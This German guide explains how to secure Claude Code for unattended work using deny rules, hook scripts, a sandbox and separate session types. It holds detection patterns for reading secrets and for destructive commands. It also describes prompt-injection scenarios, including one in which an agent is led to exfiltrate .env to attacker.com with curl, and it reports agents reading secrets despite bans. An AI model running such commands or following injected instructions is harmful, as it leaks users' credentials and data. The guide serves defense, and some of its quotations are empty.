Claude Code sicher konfigurieren: Rechte und Projektzonen

Was sich 2026 ändert: Autonomes Claude Code und reale Vorfälle#

Früher hielt Claude Code nach jeder Antwort an und fragte vor jedem Schreibvorgang um Erlaubnis. Das war unbequem, aber sicher: Du konntest einen Vorfall buchstäblich nicht verschlafen, weil der Agent auf dein „Ja“ wartete. 2026 brach dieses Modell zusammen. Anthropic führte auto-mode ein – ein separater Klassifizierungsagent entscheidet in deinem Namen, ob eine Aktion erlaubt wird. Der Befehl /loop kam hinzu (führt innerhalb einer Sitzung in Intervallen einen Prompt aus), ebenso /schedule (Zeitplanung nach Cron-Art für lang laufende Aufgaben). Mit claude --bg gestartete Hintergrundsitzungen lassen den Agenten ohne Terminal im Hintergrund laufen. Den autonomen Modus habe ich ausführlich im Leitfaden „/goal in Claude Code: Autonomer Modus und Agent View“ behandelt.

Das Problem ist, dass die Autonomie schneller eingeführt wurde als die Sicherheitsmaßnahmen.

Im selben Hacker-News-Thread beschrieb der Nutzer browningstreet kurz seine eigene Erfahrung:

Gleichzeitig sind im Anthropic-Repository zwei Fehler offen, die du kennen solltest, bevor du permissions.deny zu deiner settings.json hinzufügst:

• Issue #44868 (7. April 2026): Claude Code liest den Inhalt von .env per grep -n in den Chatverlauf ein, trotz eines ausdrücklichen Verbots in CLAUDE.md. Der Fehler ist offen.
• Issue #24846 (11. Februar 2026): permissions.read.deny-Regeln für .env*-Muster werden nicht angewendet – Read liest .env.local trotz eines korrekten deny-Musters. Als Duplikat geschlossen, nicht behoben.

Die beiden Lücken zeigen, warum eine einzelne Schutzebene in settings.json unzureichend ist. Es folgt ein Vier-Ebenen-Modell: Berechtigungen, Hooks, Sandbox und Sitzungstrennung. Jede Ebene kann Reichweite reduzieren, macht die übrigen aber nicht vollständig. Die zitierte Auto-Modus-Evaluation beweist nicht, dass Regex-Hooks ihre Fehlentscheidungen abfangen. Nutze für Produktion eine isolierte Betriebssystemumgebung ohne Produktionszugangsdaten oder Schreibrechte, erzwinge Netzwerkgrenzen außerhalb des Modells und teste sie vor unbeaufsichtigtem Betrieb.

Was sind die grünen und roten Projektzonen?#

Es ist sinnlos, für jedes Projekt denselben Schutz aufzubauen. Ein lokales Nebenprojekt auf deinem Rechner, das nicht extern bereitgestellt wird, hat ein völlig anderes Risikoniveau als ein Dienst, der echte Zahlungen verarbeitet und Kundendaten speichert. Wenn du überall denselben Schutz verwendest, bremst du die Geschwindigkeit in der grünen Zone und lässt trotzdem Lücken in der roten Zone.

Ein Projekt wechselt von Grün zu Rot, sobald mindestens eine von drei Bedingungen erfüllt ist: Es gibt echte Kunden, Geld fließt durch das System oder die Datenbank enthält personenbezogene Daten. Bis dahin kannst du auto-mode, ein Minimum an Hooks und keine Sandbox verwenden. Danach muss der Schutz gemäß der vollständigen Konfiguration in diesem Leitfaden neu aufgebaut werden.

Das Hauptprinzip: Das Schutzniveau richtet sich nach der Zone. Die Entwicklungsphase spielt keine Rolle. Ein Nebenprojekt auf deinem Rechner mit einem Stripe-Testkonto gehört zur grünen Zone. Ein Dienst mit einem zahlenden Kunden und einem Registrierungsformular gehört bereits zur roten Zone, auch wenn er noch wie ein „Entwurf“ aussieht. Diese Zonen zu verwechseln, ist eine häufige Falle bei frühen Projekten: „Wir sind noch im Entwurfsstadium, den Schutz ergänzen wir später“, und dann zahlt nächste Woche der erste Kunde.

Wie funktioniert die Berechtigungshierarchie in settings.json?#

Anthropic beschreibt die Auswertungshierarchie für Berechtigungen in der offiziellen Dokumentation: Zuerst werden deny-Regeln geprüft, dann ask, dann allow – die erste passende Regel gewinnt. Das bedeutet, dass deny immer Vorrang vor allow hat. Wenn du das Lesen von .env in ~/.claude/settings.json verbietest und jemand allow in der .claude/settings.json des Projekts festlegt, gilt dein Verbot und nicht die Erlaubnis der anderen Person.

Beispiel für eine minimale, sichere ~/.claude/settings.json auf Benutzerebene:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Was passiert hier? Die ersten sechs Regeln blockieren das Lesen von Geheimnisdateien im aktuellen Verzeichnis und allen Unterverzeichnissen. *.pem und *.key sind SSL/TLS-Schlüssel und SSH-Schlüssel. credentials*.json ist ein typischer Dateiname von Cloud-Anbietern. Die letzten drei sind Systemverzeichnisse mit SSH-Schlüsseln, AWS-Zugangsdaten und GPG-Schlüsseln.

Der Schlüssel disableBypassPermissionsMode: "disable" blockiert das Flag --dangerously-skip-permissions (auch YOLO-Modus genannt). Damit wird eine Fehlerklasse ein für alle Mal beseitigt: Selbst wenn du dieses Flag versehentlich in ein Skript oder einen Alias aufnimmst, akzeptiert Claude Code es nicht. Es entfernt es nicht einfach, sondern gibt den Fehler „mode disabled by managed settings“ zurück.

Außerdem wird ab Version 2.1.142 der Schlüssel defaultMode: "auto" ignoriert, wenn er in Projekt- oder lokalen Einstellungen steht. Das schützt vor der Situation: „Ich bin in das Repository einer anderen Person gegangen, und dessen .claude/settings.json hat den automatischen Modus standardmäßig aktiviert.“ Anthropic hat ausdrücklich erklärt, dass Repositories den Auto-Modus nicht ohne Zustimmung des Nutzers aktivieren können.

Das ist die erste Schutzlinie. Dabei kannst du nicht stehen bleiben, denn sie hat zwei Lücken, die du im nächsten Abschnitt kennenlernst.

Warum permissions.deny nicht ausreicht: 2 offene GitHub-Issues#

Wenn permissions.deny funktionieren würde, hätte der Leitfaden im vorherigen Abschnitt enden können. Tut es aber nicht.

Issue #44868 (7. April 2026): Der Nutzer fügte in CLAUDE.md ausdrücklich ein Verbot hinzu, .env, .dev.vars und andere Dateien mit Geheimnissen zu lesen. Statt Read zu verwenden, führte Claude grep -n SOMETHING .env aus. Der Befehl grep -n gibt die vollständige passende Zeile mit ihrer Nummer aus – einschließlich des tatsächlichen API-Tokens. Diese Zeile gelangt in tool_result, wird im Sitzungstranskript dargestellt und im Verlauf gespeichert.

Der subtile Punkt, auf den der Autor hinweist: Der Sicherheitsreflex des Modells setzt erst ein, nachdem die Ausgabe bereits erzeugt wurde, nicht bevor der Befehl läuft. Anders gesagt: Claude führt zuerst grep aus, erhält eine Zeile mit dem Token und gibt sie im Chat aus – erst danach erkennt es den Fehler und „entschuldigt sich“. Zu diesem Zeitpunkt steht das Token bereits im Chatverlauf. Die einzige Abhilfe ist, den Schlüssel zu rotieren.

Issue #24846 (11. Februar 2026): Der Nutzer konfigurierte permissions.read.deny mit einer Liste, die das Muster **/.env* enthielt. Anschließend bat er Claude, .env.local zu lesen. Das Read-Tool wurde ohne Fehler ausgeführt und gab den Dateiinhalt aus.

Das Issue wurde als Duplikat geschlossen, aber nicht behoben. Zum Zeitpunkt der Erstellung dieses Leitfadens (Juni 2026) lässt es sich reproduzieren.

Fazit: Ebene 1 in settings.json ist kein vergeblicher Aufwand. Diese Beispiele messen nicht, welchen Anteil versehentlicher Lesezugriffe sie verhindert. Sie verhindert aber keine Befehle über Bash (cat .env, grep API_KEY .env, head .env), Durchsetzungsfehler (Issue #24846) oder raffinierte Ketten mit git diff oder git show für einen Commit, der .env enthält. Deshalb brauchst du eine zweite Ebene – Hooks.

Wie können Hooks erkannte gefährliche Aktionen blockieren?#

Hooks arbeiten auf einer anderen Abstraktionsebene als Berechtigungen. Berechtigungen sind Regeln, die das Modell bei der Entscheidung berücksichtigt, was es tun soll. Ein Hook funktioniert anders: Das Modell entscheidet, ein Tool aufzurufen, der Hook läuft zwischen Modell und System, prüft die Eingabe und lässt den Aufruf entweder zu oder blockiert ihn. Das Modell ist an der Entscheidung des Hooks nicht beteiligt – es ist Shell-Code, den du selbst schreibst.

Anthropic beschreibt das Blockierverhalten in der offiziellen Hook-Dokumentation:

Das bedeutet zwei Dinge. Ein korrekt eingerichteter blockierender Hook kann den passenden Toolaufruf ablehnen. Bei PreToolUse blockiert Exit-Code 2 diesen Aufruf. Er beweist nicht, dass das Skript jede gefährliche gleichwertige Befehlsform erkennt. Zweitens kannst du eine aussagekräftige Meldung in stderr ausgeben, die Claude als Fehler liest und daraufhin einen anderen Ansatz versucht. Anders gesagt: Ein Hook ist nicht nur ein „Zaun“, sondern ein „Zaun mit einem Schild, auf dem steht, warum du nicht durchkommst“.

Ereignisse, die mit Exit 2 blockiert werden können:

• PreToolUse – blockiert den Tool-Aufruf vor der Ausführung. Das wichtigste Ereignis für Schutz-Hooks.
• PermissionRequest – verweigert die Berechtigung für eine Aktion, für die Claude um Erlaubnis gebeten hat.
• UserPromptSubmit – blockiert und löscht den Prompt des Nutzers. Nützlich, wenn der Prompt verdächtigen Text enthält (zum Beispiel Prompt Injection aus einer platzierten E-Mail).
• Stop – verhindert, dass Claude die Sitzung beendet. Kann als „Schleife“ dienen, damit der Agent weiterarbeitet, bis eine Bedingung erfüllt ist.
• PreCompact – blockiert die automatische Kontextkomprimierung. Nützlich, wenn du das Transkript bis zu einer manuellen Entscheidung bewahren willst.
• WorktreeCreate – lehnt das Erstellen eines Worktrees ab. Schutz davor, dass Claude versucht, ein Repository an einem unerwarteten Ort zu klonen.

Eine Alternative zu Exit-Code 2 ist die Rückgabe von JSON mit einem Feld hookSpecificOutput.permissionDecision. permissionDecision hat vier mögliche Werte:

• allow – erlaubt die Aktion ausdrücklich und umgeht den standardmäßigen Berechtigungsablauf.
• deny – blockiert die Aktion, bei PreToolUse gleichbedeutend mit Exit 2.
• ask – leitet die Entscheidung an den Nutzer weiter (ein Dialog erscheint).
• defer – überlässt die Entscheidung der regulären Berechtigungslogik.

Das gibt einem Hook mehr Kontrolle als ein Exit-Code. Mit permissionDecision: "ask" kannst du stille Vorgänge in solche umwandeln, die eine Bestätigung erfordern, ohne sie ganz zu blockieren. Das verwende ich bei npm install <new package> und Änderungen an Lockfiles.

Wenn du mehr darüber erfahren möchtest, wie Hooks funktionieren und welche 31 Ereignisse derzeit in Claude Code verfügbar sind, habe ich das in einem separaten Leitfaden behandelt: „Hooks in Claude Code: 7 sofort nutzbare Regeln“. Als Nächstes zeige ich konkrete Hooks für autonomes Arbeiten.

Welche 7 Hooks verwende ich für die Arbeit über Nacht?#

Das ist die zweite Schutzebene, die die erste ergänzt. Alle Hooks liegen in .claude/hooks/, werden über .claude/settings.json registriert und erfordern, dass jq installiert ist.

Hook 1: .env, .pem und credentials.json vor dem Lesen schützen

Ergänzt Prüfungen ausgewählter Read-Pfade und üblicher Bash-Lesebefehle. Es erfasst nicht jedes Tool oder jeden Weg zu einem Geheimnis. Datei: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registrierung in .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Führe nach der Installation chmod +x .claude/hooks/block-secret-reads.sh aus. Test: Bitte Claude, .env.local zu lesen – du erhältst die Antwort „Geheimnisdatei. Verwende op://-Verweise oder Umgebungsvariablen.“ statt des Dateiinhalts.

Hook 2: Wörtliche git-push-Aufrufe in Nachtsitzungen blockieren

Für unbeaufsichtigte Arbeit blockiert dieses konservative Beispiel jeden erkannten wörtlichen git push, auch auf Feature-Branches. Es bestimmt weder aktuellen Branch noch sichere Force-Flags. Datei: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Registriere es über PreToolUse mit Matcher Bash. Es erkennt unter anderem git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main und wörtliche Pushes in &&- oder ;-Ketten. Das sind Offline-Textbeispiele, keine auszuführenden Remote-Befehle.

Das bleibt eine Textheuristik. Git-Aliase, Shellfunktionen, git -C ... push, zusammengesetzte Befehlsnamen, Skripte und andere Tools können sie umgehen. Sie ist kein vollständiger Shellparser. Erzwinge Branchschutz am Git-Server, entferne umgehungsberechtigte Zugangsdaten und führe unbeaufsichtigte Arbeit isoliert ohne Produktionsschreibzugriff aus. Ein verpasster Hooktreffer darf keine Produktionsberechtigung erteilen.

Hook 3: Destruktive SQL-Operationen blockieren

Geht direkt auf Vorfälle mit gelöschten Datenbanken zurück. Datei: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Registriere ihn mit PreToolUse und matcher: "Bash". Beachte den Unterschied: DROP und DELETE ohne WHERE werden vollständig blockiert, während UPDATE ohne WHERE zu ask wird – das kann gelegentlich legitim sein (zum Beispiel beim Setzen eines Flags für alle Datensätze in einer Migration), erfordert aber immer eine manuelle Bestätigung.

Hook 4: rm -rf filtern

Kanonisches Beispiel aus der Dokumentation von Anthropic, angepasst, um mit einer Begründung abzulehnen:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Der Hook erlaubt rm -rf node_modules, rm -rf .next/cache und andere Löschungen mit ausdrücklich angegebenem Ziel. Er blockiert rm -rf ., rm -rf /, rm -rf ~ und ähnliche Befehle nach dem Muster „alles löschen“.

Hook 5: Installation neuer Pakete bestätigen

Dieser Hook wirkt Lieferkettenangriffen entgegen. Wenn Claude eigenständig beschließt, eine neue Abhängigkeit hinzuzufügen, erscheint ein Dialog:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Der Hook lässt Installationen aus einem Lockfile ohne weitere Schritte durchlaufen. Das Hinzufügen einer neuen Abhängigkeit erfordert eine Bestätigung.

Hook 6: package.json und Lockfile schützen

Jede Änderung an einem Abhängigkeitsmanifest ist ein Signal, dass jemand es prüfen sollte. Besonders über Nacht.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Registriere den Hook mit PreToolUse und dem Matcher Write|Edit.

Hook 7: Durchgängiges Audit-Protokoll aller Bash-Aufrufe

Wenn nachts etwas schiefgeht, brauchst du ein vollständiges Protokoll, um den Ereignisablauf zu verstehen. Registriere den Hook in settings.json (der Hook hat kein separates Skript; jq übernimmt alles):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Die Datei .claude/audit.jsonl wächst zeilenweise. Am Morgen kannst du nach einem nächtlichen /loop tail -n 100 .claude/audit.jsonl | jq ausführen und sehen, was der Agent zu welchem Zeitpunkt getan hat. Das ist für eine nachträgliche Analyse entscheidend, weil das Sitzungstranskript lang und schwer zu lesen sein kann, während das Audit-Protokoll eine übersichtliche Zeitleiste bietet.

Wie schützen Sandbox und Worktree-Isolation lange Sitzungen?#

Wenn Hooks ein „Zaun mit einem Schild“ sind, ist die Sandbox ein „Zaun + Wassergraben + Drohnennetz“. Sie ist die vierte Schutzebene und deckt Situationen ab, in denen Hooks eine Aktion durchlassen, deren Ausführung außerhalb der Umgebung aber trotzdem keinen Schaden anrichten sollte.

In seinem Blogbeitrag über Sandboxing (20. Oktober 2025) berichtet Anthropic interne Messungen:

Das bedeutet: Wenn du /sandbox aktivierst, fragt Claude bei 84 % der Aktionen nicht mehr um Erlaubnis, weil diese Aktionen die Sandbox physisch nicht verlassen können. Das ist gut für die Geschwindigkeit, aber nicht der wichtigste Nutzen.

Die Sandbox bietet zwei Isolationsebenen, jede mit einer eigenen Aufgabe:

Dateisystemisolation beschränkt das Lesen und Schreiben auf ausdrücklich freigegebene Verzeichnisse. Selbst wenn ein Hook einen Versuch übersieht, nach /etc/hosts zu schreiben oder ~/.ssh/id_rsa zu lesen, lässt die Sandbox den Systemaufruf nicht durch. Das ist Schutz auf Betriebssystemebene. Die Anwendungsebene kann ihn nicht umgehen.

Netzwerkisolation erlaubt Verbindungen nur zu freigegebenen Servern. Das ist entscheidend für Angriffe zum Ausschleusen von Daten. Szenario: Eine Prompt Injection in einer platzierten Datei bringt Claude dazu, .env zu lesen (der Hook hat es übersehen, weil das Lesen einen ungewöhnlichen Weg nahm); dann entscheidet das Modell, curl -X POST attacker.com -d "$ENV_CONTENT" auszuführen. Ohne Netzwerkisolation funktioniert das. Mit Netzwerkisolation kann curl attacker.com nicht erreichen, weil der Host nicht auf der Liste steht.

Starte sie mit dem Befehl /sandbox in Claude Code. Konfiguriere sie in ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Füge bei langen Hintergrundsitzungen, die mit claude --bg gestartet werden, der Sandbox eine Worktree-Isolation hinzu. Das ist ein nativer Mechanismus von Claude Code: Jede Hintergrundsitzung wird automatisch in einen eigenen .claude/worktrees/<name>/-Ordner auf einem separaten Branch verschoben. So kommen parallele Sitzungen einander beim Schreiben derselben Dateien nicht in die Quere. Die Worktree-Isolation habe ich ausführlich im Leitfaden „Agent View und Worktrees: Der autonome Modus von Claude Code“ behandelt.

Die Sandbox ist Teil des Feedbackkreislaufs. Wenn Claude weiß, dass seine Aktionen eingeschränkt sind, arbeitet es sorgfältiger und beschreibt seine Zwischenschritte deutlicher.

Wo funktioniert auto-mode 2026, und wo nicht?#

Im März 2026 führte Anthropic den Auto-Modus als „Mittelweg zwischen manueller Prüfung und fehlenden Schutzvorkehrungen“ ein. Ein separates Modell auf Basis von Sonnet 4.6 prüft jede Claude-Aktion anhand einer Reihe von Kriterien, bevor sie ausgeführt wird. Anthropic beschrieb die Funktionsweise im Anthropic-Engineering-Blog:

Der Auto-Modus hat zwei wichtige Einschränkungen:

• Wenn eine Sitzung 3 aufeinanderfolgende oder insgesamt 20 Ablehnungen durch den Klassifikator erreicht, stoppt das Modell und eskaliert an einen Menschen. Das schützt vor einer Situation, in der „Claude in einer Schleife festhängt und mit 100 verschiedenen Formulierungen desselben Befehls versucht, eine Einschränkung zu umgehen“.
• Der Auto-Modus erlaubt eine Aktion, wenn sie zu 93 % typischen Fällen ähnelt, die Nutzer ohnehin freigeben. Das verringert die Ermüdung durch Berechtigungsanfragen, schützt aber nicht vor atypischen gefährlichen Aktionen.

Und hier ist die wichtigste Zahl, auf die du achten solltest:

Die berichteten 17 % sind eine Falsch-negativ-Rate dieser Evaluation, keine Wahrscheinlichkeit jeder Projektaktion. Sie belegen nicht, dass Beispielhooks die übersehenen Aktionen abfangen. Unbeaufsichtigte Arbeit in der roten Zone braucht durchgesetzte Trennung von Produktionsschreibzugriff und Geheimnissen sowie serverseitigen Branchschutz ohne umgehungsberechtigte Zugangsdaten.

Nutze Hooks als Zusatzprüfungen in einer entbehrlichen wiederherstellbaren Umgebung. Auch lokale Projekte können nicht erfasste Dateien und Zugangsdaten enthalten, die Git nicht wiederherstellt. Ein Hookfehler in der roten Zone muss durch echte Zugriffsregeln begrenzt werden. Eine Regex-Sammlung garantiert keine deterministisch sichere beliebige Shellausführung.

Warum sollten Kontexte in drei Sitzungstypen aufgeteilt werden?#

Drei Aufgabentypen sollten niemals in derselben Sitzung stattfinden:

Typ 1: Arbeit mit personenbezogenen Daten. Die Sitzung hat Zugriff auf die Produktionsdatenbank, kann E-Mails versenden und Zugangsdaten einsehen. Sie hat KEINEN Zugriff auf externe Dokumente (E-Mails, PDFs, Webseiten) und kann KEINE Daten an beliebige Adressen senden.

Typ 2: Verarbeitung externer Dokumente. Die Sitzung kann eingehende E-Mails verarbeiten, Webseiten herunterladen und PDFs aus E-Mails lesen. Sie hat KEINEN Zugriff auf eine Datenbank mit personenbezogenen Daten und kann ohne ausdrückliche Bestätigung NICHTS nach außen senden.

Typ 3: Externes Veröffentlichen. Die Sitzung kann in sozialen Netzwerken posten, E-Mail-Kampagnen versenden und Pull Requests erstellen. Sie hat KEINEN Zugriff auf personenbezogene Daten und verarbeitet KEINE eingehenden Inhalte.

Warum sie trennen? Wenn eine Sitzung alles erledigt, reicht eine einzelne Prompt Injection in einem platzierten PDF (eine Agentur eines Wettbewerbers hat eine „Rechnung“ geschickt), damit der Agent in einem Durchgang deine Kundendatenbank liest, die E-Mail-Adressen findet und sie an eine Adresse des Angreifers sendet. Jede Aktion in dieser Kette ist für ihren jeweiligen Aufgabentyp legitim. Zusammen ist es ein Datenleck.

In der Praxis wird das mit verschiedenen .claude-Verzeichnissen für die jeweiligen Aufgabentypen umgesetzt. Auf meinem Rechner habe ich drei Konfigurationen: ~/projects/business-ops/.claude/ (Typ 1, Datenbankzugriff, Netzwerk außer für interne APIs gesperrt), ~/projects/inbox-parsing/.claude/ (Typ 2, sämtlicher Netzwerkzugriff gesperrt), ~/projects/social-posting/.claude/ (Typ 3, Netzwerkzugriff für Telegram- und Slack-APIs erlaubt). Jedes Verzeichnis ist für Claude Code ein eigenes Projekt mit eigenen Berechtigungen und Hooks.

Welche 12 Punkte prüfe ich vor /loop?#

1. ~/.claude/settings.json mit deny auf Benutzerebene für .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Das ist die Grundlage; ohne sie ist der Rest sinnlos.

2. disableBypassPermissionsMode: "disable" in ~/.claude/settings.json. Blockiert das YOLO-Flag ein für alle Mal.

3. Die block-secret-reads.sh-Beispiele wurden an ausgewählten Lesebefehlen geprüft. Echte Geheimnisse und Produktionszugangsdaten sind für die unbeaufsichtigte Umgebung unzugänglich.

4. Das Beispiel block-force-push.sh sperrt erkannte wörtliche Pushes unabhängig von Flagreihenfolge und Ziel. Git-Server erzwingt Branchschutz und fehlende Umgehungsrechte.

5. Der Hook block-destructive-sql.sh für DROP TABLE, TRUNCATE und DELETE FROM ohne WHERE.

6. Der Hook block-rm-rf.sh für rm -rf ohne ausdrücklich angegebenen Umfang.

7. Der Hook ask-on-new-deps.sh für npm install <new package> (getrennt von npm install ohne Argumente).

8. Der Hook ask-on-lockfile-change.sh für Schreibvorgänge an package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml und Cargo.toml.

9. Ein übergreifendes audit.jsonl-Protokoll für alle Bash-, Write- und Edit-Aufrufe. Ohne dieses ist eine nachträgliche Analyse unmöglich.

10. Alle langen Hintergrundsitzungen laufen in einem Worktree, nicht auf dem Main-Branch: claude --bg "task" erstellt automatisch einen Worktree, aber prüfe, dass settings.json nicht worktree.bgIsolation: "none" enthält.

11. /sandbox vor dem Start einer langen autonomen Aufgabe. Das Dateisystem ist auf das Projektverzeichnis und /tmp beschränkt. Das Netzwerk verwendet eine Allowlist aus api.anthropic.com, github.com und registry.npmjs.org.

12. Ein Verifizierungsschritt innerhalb der Aufgabe: Führe nach jeder größeren Änderung den Test-Runner oder Linter aus. Wenn etwas fehlschlägt, arbeitet der Agent erst weiter, wenn der Fehler behoben ist.

Der letzte Punkt ist ein Arbeitsmuster und keine Tool-Einstellung. Gib Claude eine Möglichkeit, seine Arbeit zu überprüfen. Ohne Verifizierung arbeitet sich ein Agent über Nacht mit „Ich glaube, das ist richtig, weiter geht’s“ durch die Aufgabe und häuft bis zum Morgen Fehler an. Mit Verifizierung macht er erst weiter, wenn die Prüfung erfolgreich ist.

7 Anti-Muster: Was du NICHT tun solltest#

1. --dangerously-skip-permissions auf einem Host-Rechner mit Produktionszugriff. Browningstreet verlor mit einem einzigen Befehl zum „Aufräumen“ die Produktions- und Entwicklungsdatenbanken. Ein Fehler kostet Stunden an Wiederherstellung und Daten, die nicht im Backup enthalten sind. Falls bereits ein Vorfall passiert ist, öffne „Was tun, wenn KI eine Datenbank gelöscht hat: Wiederherstellungs-Checkliste“ und befolge die 10 Schritte der Reihe nach.

2. Sich bei der Sicherheit nur auf CLAUDE.md verlassen. Issue #44868 hat bewiesen, dass das Modell zuerst handelt und sich danach entschuldigt. Eine unverbindliche Anweisung in einer Textdatei blockiert keinen Tool-Aufruf. Ein korrekt eingerichteter Hook kann passende Aufrufe blockieren. Betriebssystem-, Sandbox- und Dienstrechte setzen weitergehende Grenzen durch. CLAUDE.md ist für den Projektkontext wichtig – darüber habe ich separat in „CLAUDE.md richtig konfigurieren“ geschrieben –, schützt dich aber nicht vor einem autonomen Agenten.

3. Sich in settings.json nur auf permissions.deny verlassen, ohne einen Hook darüberzulegen. Issue #24846 ist seit Februar 2026 offen. Die Sperre für .env* lässt sich über grep in Bash umgehen. Ein Hook ergänzt Prüfungen. Geheimnisse müssen zugleich aus der unbeaufsichtigten Umgebung ausgeschlossen sein. Regex ersetzt keine vollständige Zugriffskontrolle.

4. Auto-Modus plus Regex-Hooks als Produktionsisolation behandeln. Die zitierte Fehlerrate gilt nur für die Evaluation; Hookabdeckung ist unvollständig. Entferne Produktionsschreibrechte und prüfe die durchgesetzte Grenze, statt jede gefährliche Aktion als abgefangen anzunehmen.

5. Ein neues Paket mit npm install ohne Bestätigung installieren. Angriffe auf die Softwarelieferkette sind real. Die Tea-Tag-Vorfälle von 2024–2026 haben gezeigt, dass es mit Tippfehlern nachgeahmte Pakete mit Tausenden Downloads gibt. Du brauchst eine Allowlist.

6. Bash-Aufrufe nicht protokollieren. Ohne Audit-Protokoll kannst du nicht nachvollziehen, was über Nacht passiert ist. Das Chat-Transkript ist lang, nicht nach Befehlen indiziert und bietet keine Zeitleiste. .claude/audit.jsonl löst beide Probleme.

7. Für Hintergrundsitzungen keinen Worktree verwenden. Parallele Sitzungen in einem Verzeichnis geraten bei der Arbeit aneinander. Claude Code hat worktree.bgIsolation, das seit Version 2.1.143 standardmäßig aktiviert ist; prüfe trotzdem deine Einstellungen.

Und die wichtigste Sache, die kein Hook und keine Einstellung verhindern kann:

